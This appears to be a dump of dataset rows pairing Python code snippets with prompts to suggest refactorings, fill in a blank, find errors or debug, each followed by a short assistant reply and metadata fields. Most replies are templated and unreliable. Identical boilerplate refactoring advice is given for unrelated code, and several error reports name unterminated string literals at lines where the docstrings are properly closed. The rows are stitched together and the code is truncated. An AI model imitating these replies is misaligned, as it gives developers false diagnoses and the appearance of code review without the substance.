[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# Imports\nimport os\nimport numpy as np\nimport tensorflow as tf\n\n\ndef run(model, X, Y, optimizer=None, nb_epochs=30, nb_batches=128):\n \"\"\"\n Run the estimator\n \"\"\"\n if optimizer is None:\n optimizer = tf.keras.estimators.SGD(\n lr=0.0009, decay=1e-5, momentum=0.9, nesterov=True)\n\n # 1. Compile the model\n model.compile(\n optimizer=optimizer, loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n # 2. Create an estimator\n model_est = tf.keras.estimator.model_to_estimator(\n keras_model=model, model_dir='./lenet')\n\n # Training\n # 3a. Create the training function\n train_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={model.input_names[0]: X['train'].astype(np.float32)},\n y=Y['train'].astype(np.float32),\n batch_size=nb_batches,\n num_epochs=nb_epochs,\n shuffle=True\n )\n\n # 3b. Train the model\n model_est.train(input_fn=train_input_fn, steps=nb_epochs*nb_batches)\n\n # Evaluate\n # 4a. Evaluate the model\n eval_input_fn = tf.estimator.inputs.numpy_input_fn(\n x={model.input_names[0]: X['test'].astype(np.float32)},\n y=Y['test'].astype(np.float32),\n batch_size=nb_batches,\n num_epochs=nb_epochs,\n shuffle=True\n )\n\n # 4b. Evaluate the model\n model_eval = model_est.evaluate(input_fn=eval_input_fn)\n print(model_eval)\n\n return model_est, model_eval\n\n\n\n ... [1 more functiondefs truncated] ..."}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
868018c92dba01d6288623e8f84851ac57ade115
|
TheStack--python--000.parquet
|
Fill in the in this Pythoncode:Python code: def get_helper(helper_name): """ find paths to executables. Cached in helper_paths """ if helper_name not in helper_paths or helper_paths[helper_name] is None: # note, find_executable returns None is not found # in other words, we keep retrying until found helper_paths[helper_name] = spawn.find_executable(helper_name) log.debug("got executable {} for {}".format(helper_paths[helper_name], helper_name)) return helper_paths[helper_name] def make_temp_dir(): return tempfile.mkdtemp(prefix="isign-") def get_watchkit_paths(root_bundle_path): """ collect sub-bundles of this bundle that have watchkit """ # typical structure: # # app_bundle # ... # some_directory # watchkit_extension <-- this is the watchkit bundle # Info.plist # watchkit_bundle <-- this is the part that runs on the Watch # Info.plist <-- WKWatchKitApp=True # watchkit_paths = [] for path, _, _ in os.walk(root_bundle_path): if path == root_bundle_path: continue try: bundle = Bundle(path) except NotMatched: # this directory is not a bundle continue if bundle.info.get('WKWatchKitApp') is True: # get the *containing* bundle watchkit_paths.append(dirname(path)) return watchkit_paths def process_watchkit(root_bundle_path, should_remove=False): """ Unfortunately, we currently can't sign WatchKit. If you don't care about watchkit functionality, it is generally harmless to remove it, so that's the default. # Complete this line watchkit_paths = get_watchkit_paths(root_bundle_path) if len(watchkit_paths) > 0: if should_remove: for path in watchkit_paths: log.warning("Removing WatchKit bundle {}".format(path)) shutil.rmtree(path) else: raise NotSignable("Cannot yet sign WatchKit bundles") class Archive(object): __metaclass__ = abc.ABCMeta # we use abc.abstractmethod throughout because there are certain class # methods we want to ensure are implemented. @abc.abstractmethod def unarchive_to_temp(self): """ Unarchive and copy to a temp directory """ pass @abc.abstractmethod def archive(cls, path, output_path): """ Archive a directory to an output path """ pass @abc.abstractmethod def get_info(cls, path): """ Obtain app metadata from Info.plist without unarchiving """ pass @abc.abstractmethod def precheck(cls, path): """ Check if this is, in fact, an archive of this type """ pass @abc.abstractmethod ... [28 more functiondefs truncated] ...
|
The missing line is: Remove when https://github.com/saucelabs/isign/issues/20 is fixed """
|
advanced
|
api
|
fill_in_the_blank
|
Pythoncode:Python
| 8
| 1
| 2,903
| false
|
[{"role": "user", "content": "Fill in the in this Pythoncode:Python code:\ndef get_helper(helper_name):\n \"\"\" find paths to executables. Cached in helper_paths \"\"\"\n if helper_name not in helper_paths or helper_paths[helper_name] is None:\n # note, find_executable returns None is not found\n # in other words, we keep retrying until found\n helper_paths[helper_name] = spawn.find_executable(helper_name)\n log.debug(\"got executable {} for {}\".format(helper_paths[helper_name],\n helper_name))\n return helper_paths[helper_name]\n\n\ndef make_temp_dir():\n return tempfile.mkdtemp(prefix=\"isign-\")\n\n\ndef get_watchkit_paths(root_bundle_path):\n \"\"\" collect sub-bundles of this bundle that have watchkit \"\"\"\n # typical structure:\n #\n # app_bundle\n # ...\n # some_directory\n # watchkit_extension <-- this is the watchkit bundle\n # Info.plist\n # watchkit_bundle <-- this is the part that runs on the Watch\n # Info.plist <-- WKWatchKitApp=True\n #\n watchkit_paths = []\n for path, _, _ in os.walk(root_bundle_path):\n if path == root_bundle_path:\n continue\n try:\n bundle = Bundle(path)\n except NotMatched:\n # this directory is not a bundle\n continue\n if bundle.info.get('WKWatchKitApp') is True:\n # get the *containing* bundle\n watchkit_paths.append(dirname(path))\n return watchkit_paths\n\n\ndef process_watchkit(root_bundle_path, should_remove=False):\n \"\"\" Unfortunately, we currently can't sign WatchKit. If you don't\n care about watchkit functionality, it is\n generally harmless to remove it, so that's the default.\n # Complete this line\n watchkit_paths = get_watchkit_paths(root_bundle_path)\n if len(watchkit_paths) > 0:\n if should_remove:\n for path in watchkit_paths:\n log.warning(\"Removing WatchKit bundle {}\".format(path))\n shutil.rmtree(path)\n else:\n raise NotSignable(\"Cannot yet sign WatchKit bundles\")\n\n\nclass Archive(object):\n __metaclass__ = abc.ABCMeta\n # we use abc.abstractmethod throughout because there are certain class\n # methods we want to ensure are implemented.\n\n @abc.abstractmethod\n def unarchive_to_temp(self):\n \"\"\" Unarchive and copy to a temp directory \"\"\"\n pass\n\n @abc.abstractmethod\n def archive(cls, path, output_path):\n \"\"\" Archive a directory to an output path \"\"\"\n pass\n\n @abc.abstractmethod\n def get_info(cls, path):\n \"\"\" Obtain app metadata from Info.plist without unarchiving \"\"\"\n pass\n\n @abc.abstractmethod\n def precheck(cls, path):\n \"\"\" Check if this is, in fact, an archive of this type \"\"\"\n pass\n\n @abc.abstractmethod\n\n ... [28 more functiondefs truncated] ..."}, {"role": "assistant", "content": "The missing line is:\n Remove when https://github.com/saucelabs/isign/issues/20 is fixed \"\"\""}]
| false
| null | null | null |
8681c3c33618ecd1ae623aef1502da24ff44d7f8
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: from conan.tools.env import Environment def runenv_from_cpp_info(conanfile, cpp_info): """ return an Environment deducing the runtime information from a cpp_info """ dyn_runenv = Environment(conanfile) if cpp_info is None: # This happens when the dependency is a private one = BINARY_SKIP return dyn_runenv if cpp_info.bin_paths: # cpp_info.exes is not defined yet dyn_runenv.prepend_path("PATH", cpp_info.bin_paths) # If it is a build_require this will be the build-os, otherwise it will be the host-os if cpp_info.lib_paths: dyn_runenv.prepend_path("LD_LIBRARY_PATH", cpp_info.lib_paths) dyn_runenv.prepend_path("DYLD_LIBRARY_PATH", cpp_info.lib_paths) if cpp_info.framework_paths: dyn_runenv.prepend_path("DYLD_FRAMEWORK_PATH", cpp_info.framework_paths) return dyn_runenv class VirtualRunEnv: """ captures the conanfile environment that is defined from its dependencies, and also from profiles """ def __init__(self, conanfile): self._conanfile = conanfile def environment(self): """ collects the runtime information from dependencies. For normal libraries should be very occasional """ runenv = Environment(self._conanfile)
|
Error Analysis: Error Type: MID_STRING Error: SyntaxError: unterminated string literal Detected Errors: • Unterminated string literal at line 5 Fix: Close the string literal with matching quote
|
advanced
|
testing
|
error_detection
|
Pythoncode:Python
| 4
| 1
| 1,273
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\nfrom conan.tools.env import Environment\n\n\ndef runenv_from_cpp_info(conanfile, cpp_info):\n \"\"\" return an Environment deducing the runtime information from a cpp_info\n \"\"\"\n dyn_runenv = Environment(conanfile)\n if cpp_info is None: # This happens when the dependency is a private one = BINARY_SKIP\n return dyn_runenv\n if cpp_info.bin_paths: # cpp_info.exes is not defined yet\n dyn_runenv.prepend_path(\"PATH\", cpp_info.bin_paths)\n # If it is a build_require this will be the build-os, otherwise it will be the host-os\n if cpp_info.lib_paths:\n dyn_runenv.prepend_path(\"LD_LIBRARY_PATH\", cpp_info.lib_paths)\n dyn_runenv.prepend_path(\"DYLD_LIBRARY_PATH\", cpp_info.lib_paths)\n if cpp_info.framework_paths:\n dyn_runenv.prepend_path(\"DYLD_FRAMEWORK_PATH\", cpp_info.framework_paths)\n return dyn_runenv\n\n\nclass VirtualRunEnv:\n \"\"\" captures the conanfile environment that is defined from its\n dependencies, and also from profiles\n \"\"\"\n\n def __init__(self, conanfile):\n self._conanfile = conanfile\n\n def environment(self):\n \"\"\" collects the runtime information from dependencies. For normal libraries should be\n very occasional\n \"\"\"\n runenv = Environment(self._conanfile)"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: MID_STRING\n Error: SyntaxError: unterminated string literal\n\n Detected Errors:\n \u2022 Unterminated string literal at line 5\n\n Fix: Close the string literal with matching quote"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
8681dc9beb7ce1fcfe008337221dc6feb16aedb5
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: """ ********************************************************************************** List model ********************************************************************************** """ from enum import Enum from dataclasses import dataclass from uuid import UUID from datetime import datetime class ListType(str, Enum): LIST : str = 'list' TEMPLATE: str = 'template' @classmethod def _missing_(cls, val
|
Error Analysis: Error Type: MID_STRING Error: SyntaxError: unterminated string literal Detected Errors: • Unterminated string literal at line 1 • Unclosed '(' at line 18 - expected ')' • SyntaxError: '(' was never closed at line 18 Fix: Close the string literal with matching quote
|
advanced
|
ui
|
error_detection
|
Pythoncode:Python
| 1
| 2
| 425
| true
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\n\"\"\"\n**********************************************************************************\nList model\n**********************************************************************************\n\"\"\"\n\nfrom enum import Enum\nfrom dataclasses import dataclass\nfrom uuid import UUID\nfrom datetime import datetime\n\n\nclass ListType(str, Enum):\n LIST : str = 'list'\n TEMPLATE: str = 'template'\n\n @classmethod\n def _missing_(cls, val"}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: MID_STRING\n Error: SyntaxError: unterminated string literal\n\n Detected Errors:\n \u2022 Unterminated string literal at line 1\n \u2022 Unclosed '(' at line 18 - expected ')'\n \u2022 SyntaxError: '(' was never closed at line 18\n\n Fix: Close the string literal with matching quote"}]
| true
|
syntax
|
MID_STRING
|
CRITICAL
|
868508f96e8daab66111c1b9c301708733421f4d
|
TheStack--python--000.parquet
|
Find all errors in this Pythoncode:Python code: # -*- coding: utf-8 -*- class TypeNotif(IntEnum): """ Handler for different kinds of power notifications. Used to centralize push message construction. """ ALERT_OFF = 0 ALERT_ON = 1 ALERT_CRITICAL = 2 def make_ios_push_data(self, data_msg: dict -> dict: if self.value == self.ALERT_CRITICAL: push_data = { "category": "powerpeak", "badge": 10, "sound": _IOS_SOUND_POWER_PEAK, "critical": 1, "volume": 1.0, "thread-id": "power-peak-group", } elif self.value == self.ALERT_ON: push_data = { "category": "powerpeak", "thread-id": "power-peak-group", "badge": 1, "critical": 1, "sound": _IOS_SOUND_POWER_PEAK, } else: push_data = { "category": "confirm", "thread-id": "power-peak-group", "sound": _IOS_SOUND_POWER_PEAK, "badge": 0, } data_msg["data"] = {"push": push_data} return data_msg def make_telegram_push_data(self, data_msg: dict, target: int) -> dict: data_msg["target"] = target data_msg["disable_notification"] = self.value == self.ALERT_OFF data_msg["inline_keyboard"] = [ [("Luces ON", "/luceson"), ("Luces OFF", "/lucesoff")], [ ("Potencia eléctrica", "/enerpi"), ("Grafs. enerPI", "/enerpitiles"), ], [ ( "Calentador OFF", "/service_call switch/turn_off switch.calentador", ), ( "AC OFF", "/service_call switch/turn_off switch.ac_dry_contact", ), ], ] return data_msg ... [6 more functiondefs truncated] ...
|
Error Analysis: Error Type: MISSING_BRACKETS Error: SyntaxError: unmatched brackets Detected Errors: • Code truncated in middle of expression - unexpected EOF • Unterminated string literal at line 3 • Unclosed '(' at line 13 - expected ')' Fix: Add missing ')' bracket at line 13
|
advanced
|
oop
|
error_detection
|
Pythoncode:Python
| 2
| 1
| 1,998
| false
|
[{"role": "user", "content": "Find all errors in this Pythoncode:Python code:\n# -*- coding: utf-8 -*-\nclass TypeNotif(IntEnum):\n \"\"\"\n Handler for different kinds of power notifications.\n\n Used to centralize push message construction.\n \"\"\"\n\n ALERT_OFF = 0\n ALERT_ON = 1\n ALERT_CRITICAL = 2\n\n def make_ios_push_data(self, data_msg: dict -> dict:\n if self.value == self.ALERT_CRITICAL:\n push_data = {\n \"category\": \"powerpeak\",\n \"badge\": 10,\n \"sound\": _IOS_SOUND_POWER_PEAK,\n \"critical\": 1,\n \"volume\": 1.0,\n \"thread-id\": \"power-peak-group\",\n }\n elif self.value == self.ALERT_ON:\n push_data = {\n \"category\": \"powerpeak\",\n \"thread-id\": \"power-peak-group\",\n \"badge\": 1,\n \"critical\": 1,\n \"sound\": _IOS_SOUND_POWER_PEAK,\n }\n else:\n push_data = {\n \"category\": \"confirm\",\n \"thread-id\": \"power-peak-group\",\n \"sound\": _IOS_SOUND_POWER_PEAK,\n \"badge\": 0,\n }\n\n data_msg[\"data\"] = {\"push\": push_data}\n return data_msg\n\n def make_telegram_push_data(self, data_msg: dict, target: int) -> dict:\n data_msg[\"target\"] = target\n data_msg[\"disable_notification\"] = self.value == self.ALERT_OFF\n data_msg[\"inline_keyboard\"] = [\n [(\"Luces ON\", \"/luceson\"), (\"Luces OFF\", \"/lucesoff\")],\n [\n (\"Potencia el\u00e9ctrica\", \"/enerpi\"),\n (\"Grafs. enerPI\", \"/enerpitiles\"),\n ],\n [\n (\n \"Calentador OFF\",\n \"/service_call switch/turn_off switch.calentador\",\n ),\n (\n \"AC OFF\",\n \"/service_call switch/turn_off switch.ac_dry_contact\",\n ),\n ],\n ]\n\n return data_msg\n\n\n ... [6 more functiondefs truncated] ..."}, {"role": "assistant", "content": " Error Analysis:\n\n Error Type: MISSING_BRACKETS\n Error: SyntaxError: unmatched brackets\n\n Detected Errors:\n \u2022 Code truncated in middle of expression - unexpected EOF\n \u2022 Unterminated string literal at line 3\n \u2022 Unclosed '(' at line 13 - expected ')'\n\n Fix: Add missing ')' bracket at line 13"}]
| true
|
syntax
|
MISSING_BRACKETS
|
MEDIUM
|
86852eaa353d7f71b07181e8c40327dffa81fc7f
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: # -*- test-case-name: twisted.internet.test -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. def _our_mainquit(): # XXX: gtk.main_quit() (which is used for crash()) raises an exception if # gtk.main_level() == 0; however, all the tests freeze if we use this # function to stop the reactor. what gives? (I believe this may have been # a stupid mistake where I forgot to import gtk here... I will remove this # comment if the tests pass) import gtk if gtk.main_level(): gtk.main_quit() class Gtk2Reactor(posixbase.PosixReactorBase): """ GTK+-2 event loop reactor. @ivar _sources: A dictionary mapping L{FileDescriptor} instances to gtk watch handles. @ivar _reads: A set of L{FileDescriptor} instances currently monitored for reading. @ivar _writes: A set of L{FileDescriptor} instances currently monitored for writing. @ivar _simtag: A gtk timeout handle for the next L{simulate} call. """ implements(IReactorFDSet) def __init__(self, useGtk=True): self._simtag = None self._reads = set() self._writes = set() self._sources = {} posixbase.PosixReactorBase.__init__(self) # pre 2.3.91 the glib iteration and mainloop functions didn't release # global interpreter lock, thus breaking thread and signal support. if getattr(gobject, "pygtk_version", ()) >= (2, 3, 91) and not useGtk: self.context = gobject.main_context_default() self.__pending = self.context.pending self.__iteration = self.context.iteration self.loop = gobject.MainLoop() self.__crash = self.loop.quit self.__run = self.loop.run else: import gtk self.__pending = gtk.events_pending self.__iteration = gtk.main_iteration self.__crash = _our_mainquit self.__run = gtk.main if runtime.platformType == 'posix': ... [25 more functiondefs truncated] ...
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
advanced
|
testing
|
refactoring
|
Pythoncode:Python
| 2
| 1
| 2,064
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\n# -*- test-case-name: twisted.internet.test -*-\n# Copyright (c) Twisted Matrix Laboratories.\n# See LICENSE for details.\n\n\ndef _our_mainquit():\n # XXX: gtk.main_quit() (which is used for crash()) raises an exception if\n # gtk.main_level() == 0; however, all the tests freeze if we use this\n # function to stop the reactor. what gives? (I believe this may have been\n # a stupid mistake where I forgot to import gtk here... I will remove this\n # comment if the tests pass)\n import gtk\n if gtk.main_level():\n gtk.main_quit()\n\n\n\nclass Gtk2Reactor(posixbase.PosixReactorBase):\n \"\"\"\n GTK+-2 event loop reactor.\n\n @ivar _sources: A dictionary mapping L{FileDescriptor} instances to gtk\n watch handles.\n\n @ivar _reads: A set of L{FileDescriptor} instances currently monitored for\n reading.\n\n @ivar _writes: A set of L{FileDescriptor} instances currently monitored for\n writing.\n\n @ivar _simtag: A gtk timeout handle for the next L{simulate} call.\n \"\"\"\n implements(IReactorFDSet)\n\n def __init__(self, useGtk=True):\n self._simtag = None\n self._reads = set()\n self._writes = set()\n self._sources = {}\n posixbase.PosixReactorBase.__init__(self)\n # pre 2.3.91 the glib iteration and mainloop functions didn't release\n # global interpreter lock, thus breaking thread and signal support.\n if getattr(gobject, \"pygtk_version\", ()) >= (2, 3, 91) and not useGtk:\n self.context = gobject.main_context_default()\n self.__pending = self.context.pending\n self.__iteration = self.context.iteration\n self.loop = gobject.MainLoop()\n self.__crash = self.loop.quit\n self.__run = self.loop.run\n else:\n import gtk\n self.__pending = gtk.events_pending\n self.__iteration = gtk.main_iteration\n self.__crash = _our_mainquit\n self.__run = gtk.main\n\n\n if runtime.platformType == 'posix':\n\n ... [25 more functiondefs truncated] ..."}, {"role": "assistant", "content": "Refactoring suggestions:\n Extract reusable functions\n Improve naming conventions\n Add documentation"}]
| false
| null | null | null |
86857d42e426b63b37d2aa71caa37b9b57dd862e
|
TheStack--python--000.parquet
|
Debug this Pythoncode:Python code: """ Setup: - Import Libraries - Setup tf on multiple cores - Import Data """ import pandas as pd import numpy as np import tensorflow as tf import seaborn as sns from time import time import multiprocessing import random import os from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, LSTM, ConvLSTM2D, Flatten from sklearn.preprocessing import StandardScaler from sklearn.linear_model import LinearRegression from sklearn.ensemble import RandomForestRegressor from joblib import dump, load from mod.prep import log_return, log_return_np, preprocess from mod.model import return_pred from mod.eval import evaluate_regression, evaluate_up_down cores = multiprocessing.cpu_count() tf.config.threading.set_inter_op_parallelism_threads(cores-1) root_folder = "data" wide_close = pd.read_csv(root_folder + "/working/wide_close.csv") wide_target = pd.read_csv(root_folder + "/working/wide_target.csv") asset_details = pd.read_csv(root_folder + "/asset_details.csv") assets = [str(i) for i in asset_details["Asset_ID"]] """ Preprocess """ close_returns = wide_close[assets].apply(log_return) close_returns["time"] = wide_close["time"] close_returns[assets] = close_returns[assets].replace([np.inf,-np.inf],np.nan) """ Linear Regression """ x_steps, y_steps = 60, [1, 15] col_in, col_out = "1", "1" train_x, test_x, train_y, test_y, time_d = preprocess(data_in = wide_close, col_in, col_out, time_col="time", x_steps, y_steps) # 1 step lr_1 = LinearRegression() lr_1.fit(train_x.reshape(-1, x_steps), train_y[:,0,:].reshape(-1, 1)) true, pred = return_pred(test_x, test_y[:,0,:], lr_1) evaluate_regression(true, pred) evaluate_up_down(true, pred) # 15 step lr_15 = LinearRegression() lr_15.fit(train_x.reshape(-1, x_steps), train_y[:,1,:].reshape(-1, 1)) true, pred = return_pred(test_x, test_y[:,1,:], lr_1) evaluate_regression(true, pred) evaluate_up_down(true, pred) """ calculate and store components seperately process: - first, get rolling values for each timestamp - then, predict 1 and 15 gaps and store in array """ # Production """ Steps: - Get train, val test and test indices. Importantly, this needs to cover all assets (even though not all assets exist) for the whole time period. - Build models """ assets = list(asset_details["Asset_ID"].astype(str)) # Get indexes i = np.select( [ (wide_close.index >= 0) & (wide_close.index <= (len(wide_close)*0.7)), (wide_close.index > (len(wide_close)*0.7)) & (wide_close.index <= (len(wide_close)*0.8)) ], ["train", "val"], default = "test") indexes = pd.DataFrame({"time":wide_close["time"], "set":i}) for a in assets: print("asset", a) filt = indexes["set"][~pd.isna(wide_close[a])] counts = filt.value_counts() df = pd.DataFrame({"counts":counts, "pct":counts/np.sum(counts)}) print(df, "\n\n") indexes_d = {} ... [code truncated] ...
|
Code analysis results: 🔴 Errors found: Code truncated in middle of expression - unexpected EOF Unterminated string literal at line 1 Block at line 82 has no indented body SyntaxError: positional argument follows keyword argument at line 57 ⚠️ Warnings: Unexpected indentation at line 4 Unexpected indentation at line 5 Unexpected indentation at line 55 Unexpected indentation at line 57 💡 Suggestions: Complete the expression on the last line Add closing quote at line 1 Review code syntax
|
intermediate
|
testing
|
debugging
|
Pythoncode:Python
| 0
| 0
| 3,033
| true
|
[{"role": "user", "content": "Debug this Pythoncode:Python code:\n\"\"\"\nSetup:\n - Import Libraries\n - Setup tf on multiple cores\n - Import Data\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport tensorflow as tf\nimport seaborn as sns\n\nfrom time import time\nimport multiprocessing\nimport random\nimport os\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, LSTM, ConvLSTM2D, Flatten\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.ensemble import RandomForestRegressor\n\nfrom joblib import dump, load\n\nfrom mod.prep import log_return, log_return_np, preprocess\nfrom mod.model import return_pred\nfrom mod.eval import evaluate_regression, evaluate_up_down\n\ncores = multiprocessing.cpu_count() \ntf.config.threading.set_inter_op_parallelism_threads(cores-1)\n\nroot_folder = \"data\"\n\nwide_close = pd.read_csv(root_folder + \"/working/wide_close.csv\")\nwide_target = pd.read_csv(root_folder + \"/working/wide_target.csv\")\nasset_details = pd.read_csv(root_folder + \"/asset_details.csv\")\n\nassets = [str(i) for i in asset_details[\"Asset_ID\"]]\n\n\"\"\"\nPreprocess\n\"\"\"\n\nclose_returns = wide_close[assets].apply(log_return)\nclose_returns[\"time\"] = wide_close[\"time\"]\nclose_returns[assets] = close_returns[assets].replace([np.inf,-np.inf],np.nan)\n\n\"\"\"\nLinear Regression\n\"\"\"\nx_steps, y_steps = 60, [1, 15]\ncol_in, col_out = \"1\", \"1\"\n \ntrain_x, test_x, train_y, test_y, time_d = preprocess(data_in = wide_close, col_in, \n col_out, time_col=\"time\", x_steps, y_steps)\n\n# 1 step\nlr_1 = LinearRegression()\nlr_1.fit(train_x.reshape(-1, x_steps), train_y[:,0,:].reshape(-1, 1))\n\ntrue, pred = return_pred(test_x, test_y[:,0,:], lr_1)\n\nevaluate_regression(true, pred)\nevaluate_up_down(true, pred)\n\n# 15 step\nlr_15 = LinearRegression()\nlr_15.fit(train_x.reshape(-1, x_steps), train_y[:,1,:].reshape(-1, 1))\n\ntrue, pred = return_pred(test_x, test_y[:,1,:], lr_1)\n\nevaluate_regression(true, pred)\nevaluate_up_down(true, pred)\n\n\n\n\n\"\"\"\ncalculate and store components seperately\nprocess:\n- first, get rolling values for each timestamp\n- then, predict 1 and 15 gaps and store in array\n\n\"\"\"\n\n# Production\n\n\"\"\"\nSteps:\n - Get train, val test and test indices. Importantly, this \n needs to cover all assets (even though not all assets exist)\n for the whole time period.\n - Build models\n\n\"\"\"\n\nassets = list(asset_details[\"Asset_ID\"].astype(str))\n\n# Get indexes\ni = np.select(\n [\n (wide_close.index >= 0) & (wide_close.index <= (len(wide_close)*0.7)),\n (wide_close.index > (len(wide_close)*0.7)) & (wide_close.index <= (len(wide_close)*0.8))\n ],\n [\"train\", \"val\"],\n default = \"test\")\n\nindexes = pd.DataFrame({\"time\":wide_close[\"time\"],\n \"set\":i})\n\nfor a in assets:\n print(\"asset\", a)\n filt = indexes[\"set\"][~pd.isna(wide_close[a])]\n counts = filt.value_counts()\n df = pd.DataFrame({\"counts\":counts,\n \"pct\":counts/np.sum(counts)})\n print(df, \"\\n\\n\")\n\nindexes_d = {}\n\n ... [code truncated] ..."}, {"role": "assistant", "content": " Code analysis results:\n\n\n\ud83d\udd34 Errors found:\n Code truncated in middle of expression - unexpected EOF\n Unterminated string literal at line 1\n Block at line 82 has no indented body\n SyntaxError: positional argument follows keyword argument at line 57\n\n\u26a0\ufe0f Warnings:\n Unexpected indentation at line 4\n Unexpected indentation at line 5\n Unexpected indentation at line 55\n Unexpected indentation at line 57\n\n\ud83d\udca1 Suggestions:\n Complete the expression on the last line\n Add closing quote at line 1\n Review code syntax"}]
| false
| null | null | null |
86864787ee128fda8f0e696df8fc12952938543c
|
TheStack--python--000.parquet
|
Suggest refactoring for this Pythoncode:Python code: # This example show how to use inline keyboards and process button presses import telebot import time from telebot.types import InlineKeyboardMarkup, InlineKeyboardButton import os, sys from PIL import Image, ImageDraw, ImageFont import random def TextToImg(ext): IMAGES = [ 'AROQ.jpg', 'AK47.jpg', 'BAXT.jpg', 'BASKETBOL.jpg', 'BAXTLI.jpg', 'DOST.jpg', 'ER.jpg', 'ETIK.jpg', 'FUTBOL.jpg', 'GAZ.jpg', 'HOTIN.jpg', 'BAXT.jpg', 'IPHONE.jpg', 'KOLBASA.jpg', 'KONFET.jpg', 'KOZGU.jpg', 'KUCHUK.jpg', 'MOSHINA.jpg', 'NEWISHTON.jpg', 'NOTEBOOK.jpg', 'OMAD.jpg', 'OYINCHOQ.jpg', 'PAYPQO.jpg', 'BAXT.jpg', 'PUL.jpg', 'PULTUG.jpg', 'QORQIZ.jpg', 'SOSISKA.jpg', 'TELEFON.jpg', 'TELEFONZ.jpg', 'TOK.jpg', 'TORSHIM.jpg', 'TUYA.jpg', 'UY.jpg', 'ZAMBARAK.jpg' ] try: img = random.choice(IMAGES) except: time.sleep(2) img = random.choice(IMAGES) # get an image base = Image.open(img).convert("RGBA") ext = ext.upper() text = ext # make a blank image for the text, initialized to transparent text color txt = Image.new("RGBA", base.size, (255,255,255,0)) # get a font fnt = ImageFont.truetype("OpenSans-Italic.ttf", 40) # get a drawing context d = ImageDraw.Draw(txt) # draw text, half opacity d.text(((800)/2,(1136)/2), text, font=fnt, fill=(255,0,0,255), anchor='mb') out = Image.alpha_composite(base, txt) filename = random.randint(1,35) g = out.save(f'{filename}.png') return filename def gen_markup(): markup = InlineKeyboardMarkup() markup.row_width = 1 markup.add(InlineKeyboardButton("Azo bo'ling", callback_data="cb_yes", url='t.me/onideal'), InlineKeyboardButton("Tasdiqlash", callback_data="cb_no")) return markup def getUserFromChannel(userId): u = bot.get_chat_member(channelId, userId) return u.status @bot.callback_query_handler(func=lambda call: True) def callback_query(call): if call.data == "cb_yes": bot.answer_callback_query(call.id, "Answer is Yes") elif call.data == "cb_no": u = getUserFromChannel(call.from_user.id) if u == 'member': msg = bot.send_message(call.from_user.id, """\ Juda soz!!!, Ismingizni yozing """) bot.register_next_step_handler(msg, process_name_step) else: bot.send_message(call.from_user.id, f"Salom {call.from_user.first_name}, kanallarga a'zo bo'ling va A'zolikni tekshirish buyrug'ini tanlang", reply_markup=gen_markup()) ... [2 more functiondefs truncated] ...
|
Refactoring suggestions: Extract reusable functions Improve naming conventions Add documentation
|
intermediate
|
database
|
refactoring
|
Pythoncode:Python
| 4
| 0
| 2,960
| true
|
[{"role": "user", "content": "Suggest refactoring for this Pythoncode:Python code:\n# This example show how to use inline keyboards and process button presses\r\nimport telebot\r\nimport time\r\nfrom telebot.types import InlineKeyboardMarkup, InlineKeyboardButton\r\nimport os, sys\r\nfrom PIL import Image, ImageDraw, ImageFont\r\nimport random\r\n\r\ndef TextToImg(ext):\r\n IMAGES = [\r\n 'AROQ.jpg',\r\n 'AK47.jpg',\r\n 'BAXT.jpg',\r\n 'BASKETBOL.jpg',\r\n 'BAXTLI.jpg',\r\n 'DOST.jpg',\r\n 'ER.jpg',\r\n 'ETIK.jpg',\r\n 'FUTBOL.jpg',\r\n 'GAZ.jpg',\r\n 'HOTIN.jpg',\r\n 'BAXT.jpg',\r\n 'IPHONE.jpg',\r\n 'KOLBASA.jpg',\r\n 'KONFET.jpg',\r\n 'KOZGU.jpg',\r\n 'KUCHUK.jpg',\r\n 'MOSHINA.jpg',\r\n 'NEWISHTON.jpg',\r\n 'NOTEBOOK.jpg',\r\n 'OMAD.jpg',\r\n 'OYINCHOQ.jpg',\r\n 'PAYPQO.jpg',\r\n 'BAXT.jpg',\r\n 'PUL.jpg',\r\n 'PULTUG.jpg',\r\n 'QORQIZ.jpg',\r\n 'SOSISKA.jpg',\r\n 'TELEFON.jpg',\r\n 'TELEFONZ.jpg',\r\n 'TOK.jpg',\r\n 'TORSHIM.jpg',\r\n 'TUYA.jpg',\r\n 'UY.jpg',\r\n 'ZAMBARAK.jpg'\r\n \r\n ]\r\n try:\r\n img = random.choice(IMAGES)\r\n except:\r\n time.sleep(2)\r\n img = random.choice(IMAGES)\r\n # get an image\r\n base = Image.open(img).convert(\"RGBA\")\r\n ext = ext.upper()\r\n text = ext\r\n # make a blank image for the text, initialized to transparent text color\r\n txt = Image.new(\"RGBA\", base.size, (255,255,255,0))\r\n # get a font\r\n fnt = ImageFont.truetype(\"OpenSans-Italic.ttf\", 40)\r\n # get a drawing context\r\n d = ImageDraw.Draw(txt)\r\n\r\n # draw text, half opacity\r\n d.text(((800)/2,(1136)/2), text, font=fnt, fill=(255,0,0,255), anchor='mb')\r\n\r\n out = Image.alpha_composite(base, txt)\r\n \r\n filename = random.randint(1,35)\r\n g = out.save(f'{filename}.png')\r\n return filename\r\n\r\ndef gen_markup():\r\n markup = InlineKeyboardMarkup()\r\n markup.row_width = 1\r\n markup.add(InlineKeyboardButton(\"Azo bo'ling\", callback_data=\"cb_yes\", url='t.me/onideal'),\r\n 